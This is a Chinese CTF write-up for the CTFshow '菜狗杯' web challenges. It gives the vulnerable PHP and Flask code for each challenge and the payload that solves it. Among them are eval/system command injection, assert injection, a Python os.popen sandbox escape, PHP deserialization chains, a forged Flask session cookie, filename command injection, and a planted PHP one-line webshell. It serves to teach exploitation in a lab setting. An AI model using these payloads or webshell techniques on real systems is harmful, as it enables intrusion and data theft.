CTFSHOW 菜狗杯--WEB

WEB签到

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
简单的解释下这个嵌套
加入cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']。
而$_REQUEST就get、post都可以接收啦。
加入再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了
c[6][0][7][5][8][0][9][4][4]=system('ls /');

bp抓包,发送给重发器

Cookie:CTFshow-QQ群:=a
注意这里的“群”字要通过url编码后再填写
即 Cookie:CTFshow-QQ%E7%BE%A4:=a
a=b&c[6][0][7][5][8][0][9][4][4]=system('ls /');
POST /?b=c HTTP/1.1

得到根目录下有个f1agaaa的文件,cat /f1agaaa 得到flag内容

web2 c0me_t0_s1gn

页面里隐藏着上帝之眼才能找到的东西- -

查看网页源代码时,发现p标签后有一句注释,里边包含一半的flag

下面的注释中提示使用控制台- -

打开控制台后,发现提示运行“g1ve_flag()”

运行“g1ve_flag()”获得了下半截flag内容

我的眼里只有$

分析一下这段代码

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

#eval()函数中变量的嵌套,注意都到在POST中传入。如果首先给$_赋值:_=a,再给$a赋值,a=b······以此类推一共有36个$,需要赋值36次。

写个脚本让他嵌套一下

import string
s = string.ascii_letters 
t='_=a&'
code="phpinfo();"
for i in range(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)

运行一下脚本

得到

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

火狐打开hackbar,使用post传参

得到根目录下有个f1agaaa的文件,修改参数 cat /f1agaaa 查看该文件内容得到flag

抽老婆

开始抽~随便换个老婆然后下载老婆,开启bp抓包看一下下载的时候包长啥样

bp抓包可以看到头中get传参变量file

修改变量内容=flag看看能输出什么?flag被过滤

不行,输入随意的图片名称呢?123.jpg,发现没有过滤了,但是报错,报错中爆出一些路径

通过好多个../实现目录遍历到根目录,下载/app目录下的app.py文件

看看app.py的文件内容,代码分析

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

让他报错的发现是python 的flask其中发现最后有一个/secret_path_U_never_know路径,通过get传参,条件判断session['isadmin']为真,返回flag字段。直接访问看看

从源码中我们看到了关键信息/secret_path_U_never_know和app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'我们要的flag应该就在/secret_path_U_never_know路径中但在源码中看到如果我们直接去访问这个路径的话会return“你怎么知道这个路径的?................”

身份验证的话,我们去/getwifi中找一下session,bp抓包看一下

这里cookie中的session使用了jwt加密,这里对jwt的知识点做一个补充:

JWT全称是JSON Web Token是一个开放标准(RFC 7519),目前最流行的跨域身份验证解决方案。它定义了一种经过加密的格式,放在json对象在请求中传递,用于验证请求是否被允许访问。

JSON Web Token由三部分组成,它们之间用.连接。 * Header 头部* Payload 负载* Signature 签名

Header 部分用Base64URL解密后是一个JSON对象,主要描述了签名的算法和令牌类型。
{ "alg": "HS256", "typ": "JWT" }

Payload 部分同样也是一个JSON对象,它包含Claim。
Claim中存的就是这些字段,有三种类型:
Registered claims 预定义的声明
Public claims 公开声明
Private claims 私有声明

JWT 规定了7个Registered claims
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

Signature
Signature 部分是对前两部分的签名,用来防止数据篡改。
服务端指定密钥(secret),使用Header指定的签名算法,用转码后的JWT串产生签名。

总之,jwt加密后,会生成三段以.分割的字符串,通过https://tooltt.com/jwt-decode/,解码可以还原到加密前的三部分,我们可以由此入手,伪造能符合验证通过的session值。

我们对抓包到的session值进行jwt解码后得到,"isadmin":=false,如果让其为ture,是不是就可以获得cookie了呢?

通过源码,我们知道app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'其中tanji_is_A_boy_Yooooooooooooooooooooo!就是key

有一个开源脚本可以帮我们自动生成jwt加密:github—flask-session-cookie-manager下载链接

开始构造头,使isadmin为ture

{
  "current_wifi": "4d4342d47783a8d4117429ef03c87a8e.jpg",
  "isadmin": Ture
}

运行脚本

python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi': '4d4342d47783a8d4117429ef03c87a8e.jpg', 'isadmin': True}"

生成了伪造的jwt加密后的session

eyJjdXJyZW50X3dpZmkiOiI0ZDQzNDJkNDc3ODNhOGQ0MTE3NDI5ZWYwM2M4N2E4ZS5qcGciLCJpc2FkbWluIjp0cnVlfQ.Y7fqFA.x3bvPruniRh8-zWthtjJiWOknyk

访问将这段session替换bp中原来的值,获得flag值

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 
关键在于:
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
输入值要先通过恒等114514才能进入这句条件判断,在assert中若是恒等与1919810,或者("intval($_GET[num])==1919810")这句判断为真,则输出flag
构造一个简单的payload
payload:?num=114514);//
直接将后边内容注释掉,执行echo $flag;
第二种payload
payload:?num=114514%2b1805296 //%2b是+url编码后的,让其值计算相加等于1919810
可以输出flag
还有一种
?num=114514);(19199810
传入后用括号闭合,执行19199810)==1919810"就成功绕过输出flag
assert("intval(114514);(19199810)==1919810") or die("一言既出,驷马难追!");

驷马难追

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

代码部分可以看到,相比于一言既出,过滤了一些符号,那么payload:114514);//应该是不能使用了

payload:?num=114514%2b1805296 还可以使用

Tap Tap Tap

点开看看是一个点蓝点点的小游戏- -

F12看一下源代码

ascii to binary,用于解码一个已经被base-64编码过的数据,即解码Base64编码的字符串

/js/habibiScript.js找到atob后边有一串base64编码的字符串,base64解密

得到Your flag is in /secret_path_you_do_not_know/secretfile.txt

访问这个路径,得到flag

Web Shell

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>

大致看一下利用顺序

传入参数cmd----cmd的值赋值$serializecmd----反序列化$serializecmd赋值给$unserializecmd

调用__construct方法

调用init方法

调用exec

任意命令执行

那么构造语句如下语句加入到源码中跑一下:

$poc = new Webshell();
$poc->cmd='ls';
echo serialize($poc);

得到序列化后的payload,将值代入cmd中访问,成功读取到当前路径下的三个文件,其中包括flag.php

构造语句(源码中过滤了flag,可以用fla*通配符去替代):

$poc = new Webshell();
$poc->cmd='cat fla*';
echo serialize($poc);

运行得到序列化payload

参数给到cmd重新访问,在源代码中可以看到flag内容

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}
根据源码第9行可知,传入长度为1(限定不能大于1)
13行和17行可知,可以依次传参进去,拼起来形成“大牛”,这里可以通过对“大牛”进行urlencode然后单个传入。

大牛 url编码后为%E5%A4%A7%E7%89%9B

依次传入参数
构造payload:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

代码部分7,8行条件判断,这里$arr[]=1是个赋值操作,也就是说代码走到这里if条件始终为ture,可以die出flag,那么给0可随便赋值。空值也无所谓。

payload:?0=

传说之下(雾)

一个贪吃蛇的小游戏,F12查看js源码

源码第三行,类为Game

源码第71行,定义当前分数this.score,这里this当前就是Game类

打开控制台,输入Game回车,将score修改为2077

开始游戏,吃掉一个小苹果,分数走到了2078,控制台回显flag

算力超群

可以看到是个计算器

2x50算一下,并开启bp抓包,可以看到包头的格式

_calculate?number1=&operator=&number2=966

有这么几个参数(number1、operator、number2)

给number1写入特殊字符,发现报错

operator写入特殊字符,发现同样报错

给number2写入特殊字符,发现呀?访问了一个错误页

说明,对number1和operator有做过滤,而对number2没有,那么我们可以通过number2构造payload

payload:
/_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

算力升级

这道题其实也没弄懂,通过提示知道可以使用gmpy2的函数进行计算,使用大佬用的脚本跑出payload

s="__import__('os').popen('cat /flag').read()"
 
import gmpy2
 
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
 
for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)<len(temp_string):
                                        temp_string=j
                                        temp_index=j.find(i)
                payload+=f'\'{temp_string}\'[{temp_index}]+'
        else:
                payload+=f'\"{i}\"+'
 
payload=payload[:-1]+')'
 
print(payload)

得到payload:

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")

填入payload得到flag

easyPytHon_P

源码在此:

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

关键在这一句:

tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

cmd是执行的命令,param是执行的参数

python中有一个awk命令,可以执行系统命令,长度刚好为3

格式为:

awk '{system("ls")}'

通过抓包分析,传参方式为post,根据可控参数cmd和param,通过awk构造payload

payload:

cmd=awk&param={system("ls")}    //查看当前路径下所有文件
cmd=awk&param={system("cat fla*")}   //查看flag文件的内容

发现当前路径存在flag.txt文件

爆出flag内容

遍地飘零

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

#没有零,仔细看看输入有什么问题吧array(0) { }

阅读代码可知,第7行,后台在接收到GET请求传递过来的参数后,会首先进行遍历,将GET的参数给$key, 将$key对应的值给$value

同时会将GET请求传递的变量名和变量值都作为本地变量的变量名,然后进行值的覆盖$$key=$$value;

最后,第15行,使用var_dump函数输出$_GET的值

如果_GET不是本地变量的话,后台会输出GET请求传递过去的参数,

因此_GET必须是本地变量,也就是GET请求传递的参数;同时,还需要参数值为flag,才能进行变量覆盖。

编写payload,传参_GET变量值=flag

?_GET=flag

茶歇区

卷了就跑,bp抓包看一下

post传参,‘拿几个’的值由a,b,c,d,e传参,这里应该是考察整数溢出,只是一个php整数溢出抓包就可以看见

发送包给repeater,修改参数,发送

a=0&b=0&c=0&d=0&e=999999999999999999&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81

嗯。。。。。。再发送一次!(发送两次可以获得flag)

小舔田?

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

一道反序列化的题目,get参数code反序列化,使得nickname=小甜甜,输出flag。(nickname在call方法里,__toString()可以触发call(),而wakeup()中的echo正好可以触发toString())

上payload:

<?php
class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

}
$a = new Moon();
$b = new Ion_Fan_Princess();
$a->name=$b;
echo serialize($a);

运行payload,输出一段序列化值

O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

将序列化参数,代入code传参,得到flag

LSB探姬

    # !/usr/bin/env python
    # -*-coding:utf-8 -*-
    """
    # File       : app.py
    # Time       :2022/10/20 15:16
    # Author     :g4_simon
    # version    :python 3.9.7
    # Description:TSTEG-WEB
    # flag is in /app/flag.py
    """
    from flask import *
    import os
    #初始化全局变量
    app = Flask(__name__)
    @app.route('/', methods=['GET'])
    def index():    
        return render_template('upload.html')
    @app.route('/upload', methods=['GET', 'POST'])
    def upload_file():
        if request.method == 'POST':
            try:
                f = request.files['file']
                f.save('upload/'+f.filename)
                cmd="python3 tsteg.py upload/"+f.filename
                result=os.popen(cmd).read()
                data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
                return jsonify(data)
            except:
                data={"code":1,"message":"file upload error!"}
                return jsonify(data)
        else:
            return render_template('upload.html')
    @app.route('/source', methods=['GET'])
    def show_source():
        return render_template('source.html')
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80,debug=False)
              

代码注释中告诉我们flag 在/app/flag.py中,分析代码发现关键在

cmd命令直接拼接文件名称,我们可以考虑直接把命令也一同拼接进去

打开bp抓包,随意上传一张图片,在文件名后拼接命令

;ls

发现当前目录下存在flag.py文件

直接拼接命令

;cat flag.py

得到flag

Is_Not_Obfuscate

查看源代码,发现两句注释,其中包含一个robots.txt的疑似爬虫文件

kali启动,使用目录扫描一下

dirb "http://789fba39-669b-4344-ab80-b5634ae3129f.challenge.ctf.show/"

扫到两个目录,一个是plugins,一个是robots.txt,访问一下robots.txt

访问/lib.php?flag=0,发现内容为空.

尝试把flag=0改为1,得到一串

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT

前面源代码中有一句注释

<!-- //测试执行加密后的插件代码 
       //这里只能执行加密代码,非加密代码不能执行
      eval(decode($_GET['input'])); -->
<!-- <button name="action" value="test"> 执行 (do)</button>-->

decode用于解码数据,尝试代入参数解码,且后加上button中的参数&action=test

?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT&action=test

看了下这里的参数需要经过url编码后再传入

传入参数:

?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI%2Fw3p1%2B%2FwX69euqzpVDJ2a%2FGkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ%2FKSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm%2Fz9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg%2FEmgnR%2Bx6othXTZ2ZGQsEYvRa%2FU1LaK%2F4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW%2FO2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16%2FewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ%2Fr2muD0WE4G5qRRQ8dnmkgxTVF7Zh61%2Fyvmis14AVf3UwjoHywgVs7MNevg%2FtCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn%2FGN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7%2FjSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp%2FSzwQLyo5N5HVZEVzMdqY7RiEqT6%2FFOLji7N%2F7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP%2FBLQQLKt6c4cLZ42QbgJwmpowDmVjo%2FR6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w%2FTWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP%2F9%2Bw8pT7oT&action=test

得到源码

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

分析发现:

push会将自定义内容md5加密之后作为文件名上传到/plugins/目录上,内容可控。

pull是文件解码之后用eval函数执行。存在代码执行。

思路:先上传一句话木马,然后计算md5值

通过push先上传一句话木马

?action=push&output=<?php eval($_GET[1]);phpinfo();?>

push success

抄写MD5加密串的脚本

# 导入md5 加密所需模块
import hashlib
# 创建md5 对象
m = hashlib.md5()
# 生成加密串,其中password 是要加密的字符串
m.update("<?php eval($_GET[1]);phpinfo();?>youyou".encode('utf-8'))
# 获取加密串
pw = m.hexdigest()
print(pw)

运行脚本,得到文件名为

8d42ec7469dcadc5679dce59d7a27342

然后通过pull解码执行参数

?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("ls /");

发现根目录下有f1agaaa这个文件,查看这个文件内容,得到flag

?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("cat /f1agaaa");

龙珠NFT

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:DragonBall Radar (BlockChain)
"""
import hashlib
from flask import *
import os
import json
import hashlib
from Crypto.Cipher import AES
import random
import time
import base64
#网上找的AES加密代码,加密我又不懂,加就完事儿了
class AESCipher():
    def __init__(self,key):
        self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])
        self.model = AES.MODE_ECB
        self.aes = AES.new(self.key,self.model)
    def add_16(self,par):
        if type(par) == str:
            par = par.encode()
        while len(par) % 16 != 0:
            par += b'\x00'
        return par
    def aesencrypt(self,text):
        text = self.add_16(text)
        self.encrypt_text = self.aes.encrypt(text)
        return self.encrypt_text
    def aesdecrypt(self,text):
        self.decrypt_text = self.aes.decrypt(text)
        self.decrypt_text = self.decrypt_text.strip(b"\x00")
        return self.decrypt_text
#初始化全局变量
app = Flask(__name__)
flag=os.getenv('FLAG')
AES_ECB=AESCipher(flag)
app.config['JSON_AS_ASCII'] = False
#懒得弄数据库或者类,直接弄字典就完事儿了
players={}
@app.route('/', methods=['GET'])
def index():
    """
    提供登录功能
    """
@app.route('/radar',methods=['GET','POST'])
def radar():
   """
   提供雷达界面
   """
@app.route('/find_dragonball',methods=['GET','POST'])
def  find_dragonball():
    """
    找龙珠,返回龙珠地址
    """
    xxxxxxxxxxx#无用代码可以忽略
    if search_count==10:#第一次搜寻,给一个一星龙珠
        dragonball="1"
    elif search_count<=0:
        data={"code":1,"msg":"搜寻次数已用完"}
        return jsonify(data)
    else:
        random_num=random.randint(1,1000)
        if random_num<=6:
            dragonball=一个没拿过的球,比如'6'
        else:
            dragonball='0'#0就代表没有发现龙珠
    players[player_id]['search_count']=search_count-1
    data={'player_id':player_id,'dragonball':dragonball,'round_no':str(11-search_count),'time':time.strftime('%Y-%m-%d %H:%M:%S')}
    #json.dumps(data)='{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'
    data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
    return jsonify(data)
@app.route('/get_dragonball',methods=['GET','POST'])
def get_dragonball():
    """
    根据龙珠地址解密后添加到用户信息
    """
    xxxxxxxxx#无用代码可以忽略
    try:
        player_id=request.cookies.get("player_id")
        address=request.args.get('address')
        data=AES_ECB.aesdecrypt(base64.b64decode(address))
        data=json.loads(data.decode())
        if data['dragonball'] !="0":
            players[data['player_id']]['dragonballs'].append(data['dragonball'])
            return jsonify({'get_ball':data['dragonball']})
        else:
            return jsonify({'code':1,'msg':"这个地址没有发现龙珠"})
    except:
        return jsonify({'code':1,'msg':"你干啥???????"})
@app.route('/flag',methods=['GET','POST'])
def get_flag():
    """
    查看龙珠库存
    """
    #如果有7颗龙珠就拿到flag~
@app.route('/source',methods=['GET','POST'])
def get_source():
    """
    查看源代码
    """
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

这道题,根据源码可知,address是用AES的ECB模式加密的,查一下就什么也不知道了- -(汗)

